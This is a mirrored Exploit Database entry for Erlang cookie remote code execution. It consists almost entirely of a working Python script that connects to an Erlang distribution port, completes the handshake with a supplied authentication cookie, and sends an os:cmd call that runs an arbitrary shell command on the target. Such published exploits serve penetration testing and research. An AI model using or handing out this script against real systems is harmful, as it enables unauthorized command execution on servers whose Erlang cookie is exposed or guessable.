Erlang Cookie – Remote Code Execution

• Exploit Database
• 13 阅读

• 作者： 1F98D
  日期： 2021-01-13
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49418/

• # Exploit Title: Erlang Cookie - Remote Code Execution
  # Date: 2020-05-04
  # Exploit Author: 1F98D
  # Original Author: Milton Valencia (wetw0rk)
  # Software Link: https://www.erlang.org/
  # Version: N/A
  # Tested on: Debian 9.11 (x64)
  # References:
  # https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  #
  # Erlang allows distributed Erlang instances to connect and remotely execute commands.
  # Nodes are permitted to connect to eachother if they share an authentication cookie,
  # this cookie is commonly called ".erlang.cookie"
  # 
  #!/usr/local/bin/python3
  ​
  import socket
  from hashlib import md5
  import struct
  import sys
  ​
  TARGET = "192.168.1.1"
  PORT = 25672
  COOKIE = "XXXXXXXXXXXXXXXXXXXX"
  CMD = "whoami"
  ​
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((TARGET, PORT))
  ​
  name_msg= b"\x00"
  name_msg += b"\x15"
  name_msg += b"n"
  name_msg += b"\x00\x07"
  name_msg += b"\x00\x03\x49\x9c"
  name_msg += b"AAAAAA@AAAAAAA"
  ​
  s.send(name_msg)
  s.recv(5)# Receive "ok" message
  challenge = s.recv(1024) # Receive "challenge" message
  challenge = struct.unpack(">I", challenge[9:13])[0]
  ​
  print("Extracted challenge: {}".format(challenge))
  ​
  challenge_reply= b"\x00\x15"
  challenge_reply += b"r"
  challenge_reply += b"\x01\x02\x03\x04"
  challenge_reply += md5(bytes(COOKIE, "ascii") + bytes(str(challenge), "ascii")).digest()
  ​
  s.send(challenge_reply)
  challenge_res = s.recv(1024)
  if len(challenge_res) == 0:
  print("Authentication failed, exiting")
  sys.exit(1)
  ​
  print("Authentication successful")
  ​
  ctrl = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex"
  msg= b'\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k'
  msg += struct.pack(">H", len(CMD))
  msg += bytes(CMD, 'ascii')
  msg += b'jw\x04user'
  ​
  payload = b'\x70' + ctrl + msg
  payload = struct.pack('!I', len(payload)) + payload
  print("Sending cmd: '{}'".format(CMD))
  s.send(payload)
  print(s.recv(1024))